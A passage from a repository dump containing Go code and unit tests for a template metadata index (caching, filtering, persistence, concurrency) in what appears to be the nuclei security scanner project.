nil\n\t}\n\n\ti.mu.Lock()\n\tdefer i.mu.Unlock()\n\n\tfor key, value := range snapshot.Data {\n\t\ti.cache.Set(key, value)\n\t}\n\n\treturn nil\n}\n\n// Filter returns all template paths that match the given filter criteria.\nfunc (i *Index) Filter(filter *Filter) []string {\n\tif filter == nil || filter.IsEmpty() {\n\t\treturn i.All()\n\t}\n\n\ti.mu.RLock()\n\tdefer i.mu.RUnlock()\n\n\tvar matched []string\n\tfor path, metadata := range i.cache.All() {\n\t\tif filter.Matches(metadata) {\n\t\t\tmatched = append(matched, path)\n\t\t}\n\t}\n\n\treturn matched\n}\n\n// FilterFunc returns all template paths that match the given filter function.\nfunc (i *Index) FilterFunc(fn FilterFunc) []string {\n\tif fn == nil {\n\t\treturn i.All()\n\t}\n\n\ti.mu.RLock()\n\tdefer i.mu.RUnlock()\n\n\tvar matched []string\n\tfor path, metadata := range i.cache.All() {\n\t\tif fn(metadata) {\n\t\t\tmatched = append(matched, path)\n\t\t}\n\t}\n\n\treturn matched\n}\n\n// All returns all template paths in the index.\nfunc (i *Index) All() []string {\n\ti.mu.RLock()\n\tdefer i.mu.RUnlock()\n\n\tpaths := make([]string, 0, i.cache.EstimatedSize())\n\tfor path := range i.cache.All() {\n\t\tpaths = append(paths, path)\n\t}\n\n\treturn paths\n}\n\n// GetAll returns all metadata entries in the index.\nfunc (i *Index) GetAll() map[string]*Metadata {\n\ti.mu.RLock()\n\tdefer i.mu.RUnlock()\n\n\tresult := maps.Collect(i.cache.All())\n\n\treturn result\n}\n\n// Count returns the number of templates matching the filter.\nfunc (i *Index) Count(filter *Filter) int {\n\tif filter == nil || filter.IsEmpty() {\n\t\treturn i.Size()\n\t}\n\n\ti.mu.RLock()\n\tdefer i.mu.RUnlock()\n\n\tcount := 0\n\tfor _, metadata := range i.cache.All() {\n\t\tif filter.Matches(metadata) {\n\t\t\tcount++\n\t\t}\n\t}\n\n\treturn count\n}\n"
  },
  {
    "path": "pkg/catalog/index/index_test.go",
    "content": "package index\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/code\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNewIndex(t *testing.T) {\n\tt.Run(\"with custom directory\", func(t *testing.T) {\n\t\ttmpDir := t.TempDir()\n\t\tcache, err := NewIndex(tmpDir)\n\t\trequire.NoError(t, err, \"Failed to create cache with custom directory\")\n\t\trequire.NotNil(t, cache, \"Cache should not be nil\")\n\t\trequire.Equal(t, filepath.Join(tmpDir, IndexFileName), cache.cacheFile)\n\t\trequire.Equal(t, IndexVersion, cache.version)\n\t})\n\n\tt.Run(\"with default directory\", func(t *testing.T) {\n\t\tcache, err := NewDefaultIndex()\n\t\trequire.NoError(t, err, \"Failed to create cache with default directory\")\n\t\trequire.NotNil(t, cache, \"Cache should not be nil\")\n\t})\n}\n\nfunc TestCacheBasicOperations(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tcache, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\n\tmetadata := &Metadata{\n\t\tID:       \"concurrent-test\",\n\t\tFilePath: \"/tmp/concurrent.yaml\",\n\t}\n\n\tt.Run(\"Set and Has\", func(t *testing.T) {\n\t\tcache.Set(metadata.FilePath, metadata)\n\t\trequire.Equal(t, 1, cache.Size(), \"Cache size should be 1 after Set\")\n\t\trequire.True(t, cache.Has(metadata.FilePath), \"Cache should contain the path after Set\")\n\t\trequire.False(t, cache.Has(\"/nonexistent\"), \"Cache should not contain nonexistent path\")\n\t})\n\n\tt.Run(\"Get with validation\", func(t *testing.T) {\n\t\t// Get should fail validation for nonexistent file\n\t\tretrieved, found := cache.Get(metadata.FilePath)\n\t\trequire.False(t, found, \"Get should fail validation for nonexistent file\")\n\t\trequire.Nil(t, retrieved, \"Retrieved metadata should be nil for invalid entry\")\n\t})\n\n\tt.Run(\"Delete\", func(t *testing.T) {\n\t\tcache.Set(metadata.FilePath, metadata)\n\t\trequire.True(t, cache.Has(metadata.FilePath), \"Cache should contain path before Delete\")\n\n\t\tcache.Delete(metadata.FilePath)\n\t\trequire.False(t, cache.Has(metadata.FilePath), \"Cache should not contain path after Delete\")\n\t})\n\n\tt.Run(\"Clear\", func(t *testing.T) {\n\t\tcache.Set(metadata.FilePath, metadata)\n\t\tcache.Set(\"/tmp/test2.yaml\", &Metadata{ID: \"test2\", FilePath: \"/tmp/test2.yaml\"})\n\t\trequire.True(t, cache.Size() > 0, \"Cache should have entries before Clear\")\n\n\t\tcache.Clear()\n\t\trequire.Equal(t, 0, cache.Size(), \"Cache should be empty after Clear\")\n\t})\n}\n\nfunc TestCachePersistence(t *testing.T) {\n\ttmpDir := t.TempDir()\n\n\tmetadata1 := &Metadata{\n\t\tID:           \"persist-test-1\",\n\t\tFilePath:     \"/tmp/persist1.yaml\",\n\t\tName:         \"Persistence Test 1\",\n\t\tAuthors:      []string{\"tester\"},\n\t\tTags:         []string{\"test\"},\n\t\tSeverity:     \"medium\",\n\t\tProtocolType: \"dns\",\n\t}\n\n\tmetadata2 := &Metadata{\n\t\tID:           \"persist-test-2\",\n\t\tFilePath:     \"/tmp/persist2.yaml\",\n\t\tName:         \"Persistence Test 2\",\n\t\tAuthors:      []string{\"tester2\"},\n\t\tTags:         []string{\"cve\"},\n\t\tSeverity:     \"critical\",\n\t\tProtocolType: \"http\",\n\t}\n\n\tt.Run(\"Save and Load\", func(t *testing.T) {\n\t\t// Create cache and add entries\n\t\tcache1, err := NewIndex(tmpDir)\n\t\trequire.NoError(t, err)\n\n\t\tcache1.Set(metadata1.FilePath, metadata1)\n\t\tcache1.Set(metadata2.FilePath, metadata2)\n\t\trequire.Equal(t, 2, cache1.Size())\n\n\t\t// Save to disk\n\t\terr = cache1.Save()\n\t\trequire.NoError(t, err, \"Failed to save cache\")\n\n\t\t// Verify cache file exists\n\t\tcacheFile := filepath.Join(tmpDir, IndexFileName)\n\t\tstat, err := os.Stat(cacheFile)\n\t\trequire.NoError(t, err, \"Cache file should exist\")\n\t\trequire.Greater(t, stat.Size(), int64(0), \"Cache file should not be empty\")\n\n\t\t// Create new cache and load\n\t\tcache2, err := NewIndex(tmpDir)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 0, cache2.Size(), \"New cache should be empty before Load\")\n\n\t\terr = cache2.Load()\n\t\trequire.NoError(t, err, \"Failed to load cache\")\n\n\t\t// Verify data was loaded\n\t\trequire.Equal(t, 2, cache2.Size(), \"Loaded cache should have 2 entries\")\n\t\trequire.True(t, cache2.Has(metadata1.FilePath), \"Loaded cache should contain first entry\")\n\t\trequire.True(t, cache2.Has(metadata2.FilePath), \"Loaded cache should contain second entry\")\n\t})\n\n\tt.Run(\"Load non-existent cache\", func(t *testing.T) {\n\t\temptyDir := t.TempDir()\n\t\tcache, err := NewIndex(emptyDir)\n\t\trequire.NoError(t, err)\n\n\t\t// Loading non-existent cache should not error\n\t\terr = cache.Load()\n\t\trequire.NoError(t, err, \"Loading non-existent cache should not error\")\n\t\trequire.Equal(t, 0, cache.Size(), \"Cache should be empty after loading non-existent file\")\n\t})\n\n\tt.Run(\"Atomic save\", func(t *testing.T) {\n\t\tcache, err := NewIndex(tmpDir)\n\t\trequire.NoError(t, err)\n\n\t\tcache.Set(metadata1.FilePath, metadata1)\n\t\terr = cache.Save()\n\t\trequire.NoError(t, err)\n\n\t\t// Verify no .tmp file left behind\n\t\ttmpFile := filepath.Join(tmpDir, IndexFileName+\".tmp\")\n\t\t_, err = os.Stat(tmpFile)\n\t\trequire.True(t, os.IsNotExist(err), \"Temporary file should not exist after save\")\n\n\t\t// Verify actual cache file exists\n\t\tcacheFile := filepath.Join(tmpDir, IndexFileName)\n\t\t_, err = os.Stat(cacheFile)\n\t\trequire.NoError(t, err, \"Cache file should exist\")\n\t})\n}\n\nfunc TestIndexVersionMismatch(t *testing.T) {\n\ttmpDir := t.TempDir()\n\n\t// Create cache with current version\n\tcache1, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\n\tmetadata := &Metadata{\n\t\tID:       \"version-test\",\n\t\tFilePath: \"/tmp/version.yaml\",\n\t}\n\tcache1.Set(metadata.FilePath, metadata)\n\n\t// Save with current version\n\terr = cache1.Save()\n\trequire.NoError(t, err)\n\n\t// Manually modify version and save again\n\tcache1.version = 999\n\terr = cache1.Save()\n\trequire.NoError(t, err)\n\n\t// Try to load with different version\n\tcache2, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\n\t// Load should succeed but cache should be empty (version mismatch)\n\terr = cache2.Load()\n\trequire.NoError(t, err, \"Load should not error on version mismatch\")\n\trequire.Equal(t, 0, cache2.Size(), \"Cache should be empty after version mismatch\")\n}\n\nfunc TestCacheCorruptedFile(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tcacheFile := filepath.Join(tmpDir, IndexFileName)\n\n\t// Create corrupted cache file\n\terr := os.WriteFile(cacheFile, []byte(\"corrupted data that is not valid gob\"), 0644)\n\trequire.NoError(t, err)\n\n\t// Try to load corrupted cache\n\tcache, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\n\terr = cache.Load()\n\trequire.NoError(t, err, \"Load should not error on corrupted cache\")\n\trequire.Equal(t, 0, cache.Size(), \"Cache should be empty after loading corrupted file\")\n\n\t// Corrupted file should be removed\n\t_, err = os.Stat(cacheFile)\n\trequire.True(t, os.IsNotExist(err), \"Corrupted cache file should be removed\")\n}\n\nfunc TestMetadataValidation(t *testing.T) {\n\ttmpDir := t.TempDir()\n\ttmpFile := filepath.Join(tmpDir, \"test.yaml\")\n\n\tt.Run(\"Valid metadata\", func(t *testing.T) {\n\t\t// Create a test file\n\t\terr := os.WriteFile(tmpFile, []byte(\"id: test\\ninfo:\\n  name: Test\"), 0644)\n\t\trequire.NoError(t, err)\n\n\t\tinfo, err := os.Stat(tmpFile)\n\t\trequire.NoError(t, err)\n\n\t\t// Create metadata with correct checksum\n\t\tmetadata := &Metadata{\n\t\t\tID:       \"test\",\n\t\t\tFilePath: tmpFile,\n\t\t\tModTime:  info.ModTime(),\n\t\t}\n\n\t\t// Should be valid\n\t\trequire.True(t, metadata.IsValid(), \"Metadata should be valid for unchanged file\")\n\t})\n\n\tt.Run(\"Invalid metadata after file modification\", func(t *testing.T) {\n\t\t// Create the test file first to ensure it exists in this subtest\n\t\terr := os.WriteFile(tmpFile, []byte(\"id: test\\ninfo:\\n  name: Test\"), 0644)\n\t\trequire.NoError(t, err)\n\n\t\t// Set file ModTime to past to ensure modification is detectable\n\t\toldTime := time.Now().Add(-2 * time.Second)\n\t\terr = os.Chtimes(tmpFile, oldTime, oldTime)\n\t\trequire.NoError(t, err)\n\n\t\tinfo, err := os.Stat(tmpFile)\n\t\trequire.NoError(t, err)\n\n\t\tmetadata := &Metadata{\n\t\t\tID:       \"test\",\n\t\t\tFilePath: tmpFile,\n\t\t\tModTime:  info.ModTime(),\n\t\t}\n\n\t\t// Modify file\n\t\terr = os.WriteFile(tmpFile, []byte(\"id: test\\ninfo:\\n  name: Modified\"), 0644)\n\t\trequire.NoError(t, err)\n\n\t\t// Should now be invalid\n\t\trequire.False(t, metadata.IsValid(), \"Metadata should be invalid after file modification\")\n\t})\n\n\tt.Run(\"Invalid metadata for deleted file\", func(t *testing.T) {\n\t\t// Create the test file first to ensure it exists in this subtest\n\t\terr := os.WriteFile(tmpFile, []byte(\"id: test\\ninfo:\\n  name: Test\"), 0644)\n\t\trequire.NoError(t, err)\n\n\t\tinfo, err := os.Stat(tmpFile)\n\t\trequire.NoError(t, err)\n\n\t\tmetadata := &Metadata{\n\t\t\tID:       \"test\",\n\t\t\tFilePath: tmpFile,\n\t\t\tModTime:  info.ModTime(),\n\t\t}\n\n\t\t// Delete file\n\t\terr = os.Remove(tmpFile)\n\t\trequire.NoError(t, err)\n\n\t\t// Should be invalid\n\t\trequire.False(t, metadata.IsValid(), \"Metadata should be invalid for deleted file\")\n\t})\n}\n\nfunc TestSetFromTemplate(t *testing.T) {\n\ttmpDir := t.TempDir()\n\ttmpFile := filepath.Join(tmpDir, \"extract.yaml\")\n\n\t// Create a test file\n\terr := os.WriteFile(tmpFile, []byte(\"id: extract-test\"), 0644)\n\trequire.NoError(t, err)\n\n\tcache, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\n\tt.Run(\"Basic metadata extraction\", func(t *testing.T) {\n\t\ttemplate := &templates.Template{\n\t\t\tID: \"extract-test\",\n\t\t\tInfo: model.Info{\n\t\t\t\tName:        \"Extract Test Template\",\n\t\t\t\tAuthors:     stringslice.StringSlice{Value: \"author1,author2\"},\n\t\t\t\tTags:        stringslice.StringSlice{Value: \"tag1,tag2\"},\n\t\t\t\tDescription: \"Test description\",\n\t\t\t\tSeverityHolder: severity.Holder{\n\t\t\t\t\tSeverity: severity.High,\n\t\t\t\t},\n\t\t\t},\n\t\t\tSelfContained:    true,\n\t\t\tVerified:         true,\n\t\t\tTemplateVerifier: \"test-verifier\",\n\t\t}\n\n\t\tmetadata, ok := cache.SetFromTemplate(tmpFile, template)\n\t\trequire.True(t, ok, \"Failed to set metadata from template\")\n\t\trequire.NotNil(t, metadata, \"Metadata should not be nil\")\n\n\t\t// Verify core fields\n\t\trequire.Equal(t, \"extract-test\", metadata.ID)\n\t\trequire.Equal(t, tmpFile, metadata.FilePath)\n\n\t\t// Verify Info fields\n\t\trequire.Equal(t, \"Extract Test Template\", metadata.Name)\n\t\trequire.Equal(t, []string{\"author1,author2\"}, metadata.Authors)\n\t\trequire.Equal(t, []string{\"tag1,tag2\"}, metadata.Tags)\n\t\trequire.Equal(t, \"high\", metadata.Severity)\n\n\t\t// Verify flags\n\t\trequire.True(t, metadata.Verified)\n\t\trequire.Equal(t, \"test-verifier\", metadata.TemplateVerifier)\n\t})\n\n\tt.Run(\"HTTP protocol detection\", func(t *testing.T) {\n\t\t// Create a separate test file for this test\n\t\thttpFile := filepath.Join(tmpDir, \"http-test.yaml\")\n\t\terr := os.WriteFile(httpFile, []byte(\"id: http-test\"), 0644)\n\t\trequire.NoError(t, err)\n\n\t\ttemplate := &templates.Template{\n\t\t\tID: \"http-test\",\n\t\t\tInfo: model.Info{\n\t\t\t\tName:    \"HTTP Test\",\n\t\t\t\tAuthors: stringslice.StringSlice{Value: \"tester\"},\n\t\t\t\tSeverityHolder: severity.Holder{\n\t\t\t\t\tSeverity: severity.Medium,\n\t\t\t\t},\n\t\t\t},\n\t\t\tRequestsHTTP: []*http.Request{{Method: http.HTTPMethodTypeHolder{MethodType: http.HTTPGet}}},\n\t\t}\n\n\t\tmetadata, ok := cache.SetFromTemplate(httpFile, template)\n\t\trequire.True(t, ok)\n\t\trequire.NotNil(t, metadata)\n\t\trequire.Equal(t, \"http\", metadata.ProtocolType)\n\t})\n\n\tt.Run(\"Extract with missing file\", func(t *testing.T) {\n\t\ttemplate := &templates.Template{\n\t\t\tID: \"missing-test\",\n\t\t\tInfo: model.Info{\n\t\t\t\tName:    \"Missing File Test\",\n\t\t\t\tAuthors: stringslice.StringSlice{Value: \"tester\"},\n\t\t\t\tSeverityHolder: severity.Holder{\n\t\t\t\t\tSeverity: severity.Low,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tmetadata, ok := cache.SetFromTemplate(\"/nonexistent/file.yaml\", template)\n\t\trequire.False(t, ok, \"Should return false for nonexistent file\")\n\t\trequire.NotNil(t, metadata, \"Metadata should still be returned\")\n\t})\n}\n\nfunc TestMetadataMatchingHelpers(t *testing.T) {\n\tmetadata := &Metadata{\n\t\tTags:         []string{\"cve\", \"rce\", \"apache\"},\n\t\tAuthors:      []string{\"pdteam\", \"geeknik\"},\n\t\tSeverity:     \"critical\",\n\t\tProtocolType: \"http\",\n\t}\n\n\tt.Run(\"HasTag\", func(t *testing.T) {\n\t\trequire.True(t, metadata.HasTag(\"cve\"))\n\t\trequire.True(t, metadata.HasTag(\"rce\"))\n\t\trequire.True(t, metadata.HasTag(\"apache\"))\n\t\trequire.False(t, metadata.HasTag(\"xxe\"))\n\t\trequire.False(t, metadata.HasTag(\"\"))\n\t})\n\n\tt.Run(\"HasAuthor\", func(t *testing.T) {\n\t\trequire.True(t, metadata.HasAuthor(\"pdteam\"))\n\t\trequire.True(t, metadata.HasAuthor(\"geeknik\"))\n\t\trequire.False(t, metadata.HasAuthor(\"unknown\"))\n\t\trequire.False(t, metadata.HasAuthor(\"\"))\n\t})\n\n\tt.Run(\"MatchesSeverity\", func(t *testing.T) {\n\t\trequire.True(t, metadata.MatchesSeverity(severity.Critical))\n\t\trequire.False(t, metadata.MatchesSeverity(severity.High))\n\t\trequire.False(t, metadata.MatchesSeverity(severity.Medium))\n\t\trequire.False(t, metadata.MatchesSeverity(severity.Low))\n\t\trequire.False(t, metadata.MatchesSeverity(severity.Info))\n\t})\n\n\tt.Run(\"MatchesProtocol\", func(t *testing.T) {\n\t\trequire.True(t, metadata.MatchesProtocol(types.HTTPProtocol))\n\t\trequire.False(t, metadata.MatchesProtocol(types.DNSProtocol))\n\t\trequire.False(t, metadata.MatchesProtocol(types.FileProtocol))\n\t\trequire.False(t, metadata.MatchesProtocol(types.NetworkProtocol))\n\t})\n\n\tt.Run(\"Empty metadata\", func(t *testing.T) {\n\t\temptyMetadata := &Metadata{}\n\t\trequire.False(t, emptyMetadata.HasTag(\"any\"))\n\t\trequire.False(t, emptyMetadata.HasAuthor(\"any\"))\n\t})\n}\n\nfunc TestCacheConcurrency(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tcache, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\n\t// Test concurrent writes\n\tt.Run(\"Concurrent Set\", func(t *testing.T) {\n\t\tdone := make(chan bool)\n\t\tfor i := 0; i < 10; i++ {\n\t\t\tgo func(id int) {\n\t\t\t\tmetadata := &Metadata{\n\t\t\t\t\tID:       string(rune('a' + id)),\n\t\t\t\t\tFilePath: filepath.Join(\"/tmp\", string(rune('a'+id))+\".yaml\"),\n\t\t\t\t}\n\t\t\t\tcache.Set(metadata.FilePath, metadata)\n\t\t\t\tdone <- true\n\t\t\t}(i)\n\t\t}\n\n\t\t// Wait for all goroutines\n\t\tfor i := 0; i < 10; i++ {\n\t\t\t<-done\n\t\t}\n\n\t\trequire.Equal(t, 10, cache.Size(), \"All concurrent writes should succeed\")\n\t})\n\n\t// Test concurrent reads\n\tt.Run(\"Concurrent Has\", func(t *testing.T) {\n\t\tmetadata := &Metadata{\n\t\t\tID:       \"concurrent-test\",\n\t\t\tFilePath: \"/tmp/concurrent.yaml\",\n\t\t}\n\t\tcache.Set(metadata.FilePath, metadata)\n\n\t\tdone := make(chan bool)\n\t\tfor i := 0; i < 20; i++ {\n\t\t\tgo func() {\n\t\t\t\t_ = cache.Has(metadata.FilePath)\n\t\t\t\tdone <- true\n\t\t\t}()\n\t\t}\n\n\t\t// Wait for all goroutines\n\t\tfor i := 0; i < 20; i++ {\n\t\t\t<-done\n\t\t}\n\t})\n}\n\nfunc TestCacheSize(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tcache, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, 0, cache.Size(), \"New cache should have size 0\")\n\n\t// Add entries\n\tfor i := 0; i < 5; i++ {\n\t\tmetadata := &Metadata{\n\t\t\tID:       string(rune('a' + i)),\n\t\t\tFilePath: filepath.Join(\"/tmp\", string(rune('a'+i))+\".yaml\"),\n\t\t}\n\t\tcache.Set(metadata.FilePath, metadata)\n\t}\n\n\trequire.Equal(t, 5, cache.Size(), \"Cache should have size 5 after adding 5 entries\")\n\n\t// Delete entries\n\tcache.Delete(filepath.Join(\"/tmp\", \"a.yaml\"))\n\tcache.Delete(filepath.Join(\"/tmp\", \"b.yaml\"))\n\n\trequire.Equal(t, 3, cache.Size(), \"Cache should have size 3 after deleting 2 entries\")\n\n\t// Clear cache\n\tcache.Clear()\n\trequire.Equal(t, 0, cache.Size(), \"Cache should have size 0 after Clear\")\n}\n\nfunc TestCacheGetWithValidFile(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tcache, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\n\t// Create a real file for testing validation\n\ttmpFile := filepath.Join(tmpDir, \"test.yaml\")\n\terr = os.WriteFile(tmpFile, []byte(\"id: test\"), 0644)\n\trequire.NoError(t, err)\n\n\tinfo, err := os.Stat(tmpFile)\n\trequire.NoError(t, err)\n\n\tmetadata := &Metadata{\n\t\tID:       \"test\",\n\t\tFilePath: tmpFile,\n\t\tModTime:  info.ModTime(),\n\t\tName:     \"Test Template\",\n\t}\n\n\t// Set and get should work with valid file\n\tcache.Set(metadata.FilePath, metadata)\n\tretrieved, found := cache.Get(metadata.FilePath)\n\trequire.True(t, found, \"Should find entry with valid file\")\n\trequire.NotNil(t, retrieved, \"Retrieved metadata should not be nil\")\n\trequire.Equal(t, metadata.ID, retrieved.ID)\n}\n\nfunc TestCacheSaveErrorHandling(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tcache, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\n\tmetadata := &Metadata{\n\t\tID:       \"test\",\n\t\tFilePath: filepath.Join(\"/tmp\", \"test.yaml\"),\n\t}\n\tcache.Set(metadata.FilePath, metadata)\n\n\t// Create a directory where the temp file would be created to force an error\n\t// The Save method creates a file at cacheFile + \".tmp\"\n\tconflictPath := filepath.Join(tmpDir, IndexFileName+\".tmp\")\n\terr = os.Mkdir(conflictPath, 0755)\n\trequire.NoError(t, err)\n\n\terr = cache.Save()\n\trequire.Error(t, err, \"Save should fail when temp file cannot be created\")\n}\n\nfunc TestNewCacheWithInvalidDirectory(t *testing.T) {\n\t// Try to create cache in a file path (should fail)\n\ttmpFile := filepath.Join(t.TempDir(), \"file.txt\")\n\terr := os.WriteFile(tmpFile, []byte(\"test\"), 0644)\n\trequire.NoError(t, err)\n\n\tcache, err := NewIndex(tmpFile)\n\trequire.Error(t, err, \"NewCache should fail when path is a file\")\n\trequire.Nil(t, cache, \"Cache should be nil on error\")\n}\n\nfunc TestCacheLoadCorruptedRemoval(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tcacheFile := filepath.Join(tmpDir, IndexFileName)\n\n\t// Create corrupted cache file with invalid gob data\n\terr := os.WriteFile(cacheFile, []byte(\"this is not valid gob encoding at all!\"), 0644)\n\trequire.NoError(t, err)\n\n\t// Verify file exists before Load\n\t_, err = os.Stat(cacheFile)\n\trequire.NoError(t, err, \"Corrupted file should exist\")\n\n\t// Load should not error but should remove corrupted file\n\tcache, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\n\terr = cache.Load()\n\trequire.NoError(t, err, \"Load should not return error for corrupted file\")\n\n\t// Verify corrupted file was removed\n\t_, err = os.Stat(cacheFile)\n\trequire.True(t, os.IsNotExist(err), \"Corrupted file should be removed\")\n\trequire.Equal(t, 0, cache.Size(), \"Cache should be empty after loading corrupted file\")\n}\n\nfunc TestMetadataExtractionWithNilClassification(t *testing.T) {\n\ttmpDir := t.TempDir()\n\ttmpFile := filepath.Join(tmpDir, \"test.yaml\")\n\terr := os.WriteFile(tmpFile, []byte(\"id: test\"), 0644)\n\trequire.NoError(t, err)\n\n\ttemplate := &templates.Template{\n\t\tID: \"nil-classification\",\n\t\tInfo: model.Info{\n\t\t\tName:    \"Template without classification\",\n\t\t\tAuthors: stringslice.StringSlice{Value: \"tester\"},\n\t\t\tSeverityHolder: severity.Holder{\n\t\t\t\tSeverity: severity.Medium,\n\t\t\t},\n\t\t\tClassification: nil, // Explicitly nil\n\t\t},\n\t}\n\n\tcache, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\n\tmetadata, ok := cache.SetFromTemplate(tmpFile, template)\n\trequire.True(t, ok)\n\trequire.NotNil(t, metadata)\n}\n\nfunc TestCachePersistenceWithLargeDataset(t *testing.T) {\n\ttmpDir := t.TempDir()\n\tcache, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\n\t// Add 100 entries to test bulk operations\n\tfor i := 0; i < 100; i++ {\n\t\tmetadata := &Metadata{\n\t\t\tID:       fmt.Sprintf(\"template-%d\", i),\n\t\t\tFilePath: filepath.Join(\"/tmp\", fmt.Sprintf(\"template-%d.yaml\", i)),\n\t\t\tName:     fmt.Sprintf(\"Template %d\", i),\n\t\t\tAuthors:  []string{fmt.Sprintf(\"author%d\", i)},\n\t\t\tTags:     []string{\"tag1\", \"tag2\", \"tag3\"},\n\t\t\tSeverity: \"high\",\n\t\t}\n\t\tcache.Set(metadata.FilePath, metadata)\n\t}\n\n\trequire.Equal(t, 100, cache.Size(), \"Cache should contain 100 entries\")\n\n\t// Save to disk\n\terr = cache.Save()\n\trequire.NoError(t, err)\n\n\t// Load into new cache\n\tcache2, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\terr = cache2.Load()\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, 100, cache2.Size(), \"Loaded cache should contain 100 entries\")\n\n\t// Verify a sample entry\n\tfound := cache2.Has(filepath.Join(\"/tmp\", \"template-50.yaml\"))\n\trequire.True(t, found, \"Should find sample entry\")\n}\n\nfunc TestMetadataHelperMethods(t *testing.T) {\n\tmetadata := &Metadata{\n\t\tID:           \"helper-test\",\n\t\tTags:         []string{},\n\t\tAuthors:      []string{},\n\t\tSeverity:     \"\",\n\t\tProtocolType: \"\",\n\t}\n\n\tt.Run(\"Empty tags\", func(t *testing.T) {\n\t\trequire.False(t, metadata.HasTag(\"anytag\"))\n\t})\n\n\tt.Run(\"Empty authors\", func(t *testing.T) {\n\t\trequire.False(t, metadata.HasAuthor(\"anyauthor\"))\n\t})\n\n\tt.Run(\"Empty severity\", func(t *testing.T) {\n\t\trequire.False(t, metadata.MatchesSeverity(severity.Critical))\n\t})\n\n\tt.Run(\"Empty protocol\", func(t *testing.T) {\n\t\trequire.False(t, metadata.MatchesProtocol(types.HTTPProtocol))\n\t})\n}\n\nfunc TestMultipleProtocolsDetection(t *testing.T) {\n\ttmpDir := t.TempDir()\n\ttmpFile := filepath.Join(tmpDir, \"multi.yaml\")\n\terr := os.WriteFile(tmpFile, []byte(\"id: multi\"), 0644)\n\trequire.NoError(t, err)\n\n\t// Template with multiple protocol types\n\ttemplate := &templates.Template{\n\t\tID: \"multi-protocol\",\n\t\tInfo: model.Info{\n\t\t\tName:    \"Multi Protocol Template\",\n\t\t\tAuthors: stringslice.StringSlice{Value: \"tester\"},\n\t\t\tSeverityHolder: severity.Holder{\n\t\t\t\tSeverity: severity.High,\n\t\t\t},\n\t\t},\n\t\tRequestsHTTP:     []*http.Request{{Method: http.HTTPMethodTypeHolder{MethodType: http.HTTPGet}}},\n\t\tRequestsHeadless: []*headless.Request{{}},\n\t\tRequestsCode:     []*code.Request{{}},\n\t}\n\n\tcache, err := NewIndex(tmpDir)\n\trequire.NoError(t, err)\n\n\tmetadata, ok := cache.SetFromTemplate(tmpFile, template)\n\trequire.True(t, ok)\n\trequire.NotNil(t, metadata)\n\trequire.Equal(t, \"http\", metadata.ProtocolType, \"Primary protocol should be http\")\n}\n\nfunc TestNewMetadataFromTemplate(t *testing.T) {\n\ttmpl := &templates.Template{\n\t\tID: \"test-template\",\n\t\tInfo: model.Info{\n\t\t\tName:    \"Test Template\",\n\t\t\tAuthors: stringslice.StringSlice{Value: []string{\"author\"}},\n\t\t\tTags:    stringslice.StringSlice{Value: []string{\"tag\"}},\n\t\t\tSeverityHolder: severity.Holder{\n\t\t\t\tSeverity: severity.Low,\n\t\t\t},\n\t\t},\n\t\tVerified:         true,\n\t\tTemplateVerifier: \"verifier\",\n\t}\n\n\tpath := \"/tmp/test.yaml\"\n\tmetadata := NewMetadataFromTemplate(path, tmpl)\n\n\trequire.Equal(t, tmpl.ID, metadata.ID)\n\trequire.Equal(t, path, metadata.FilePath)\n\trequire.Equal(t, tmpl.Info.Name, metadata.Name)\n\trequire.Equal(t, tmpl.Info.Authors.ToSlice(), metadata.Authors)\n\trequire.Equal(t, tmpl.Info.Tags.ToSlice(), metadata.Tags)\n\trequire.Equal(t, tmpl.Info.SeverityHolder.Severity.String(), metadata.Severity)\n\trequire.Equal(t, tmpl.Type().String(), metadata.ProtocolType)\n\trequire.Equal(t, tmpl.Verified, metadata.Verified)\n\trequire.Equal(t, tmpl.TemplateVerifier, metadata.TemplateVerifier)\n}\n"
  },
  {
    "path": "pkg/catalog/index/metadata.go",
